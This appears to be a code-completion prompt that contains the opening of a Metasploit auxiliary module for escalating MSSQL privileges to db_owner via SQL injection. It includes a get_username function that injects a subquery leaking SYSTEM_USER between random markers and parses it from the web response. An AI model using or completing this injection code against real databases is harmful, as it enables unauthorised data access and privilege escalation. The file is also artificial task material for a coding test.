You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: mssql_escalate_dbowner_sqli.rb
    path of file: ./repos/metasploit-framework/modules/auxiliary/admin/mssql
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::MSSQL_SQLI
  include Msf::Aux
    
  def get_username
    # Setup query to check for database username
    clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
    clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
    sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"

    # Run query
    result = mssql_query(sql)

    # Parse result
    if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
      user_name = $1
    else
      user_name = nil
    end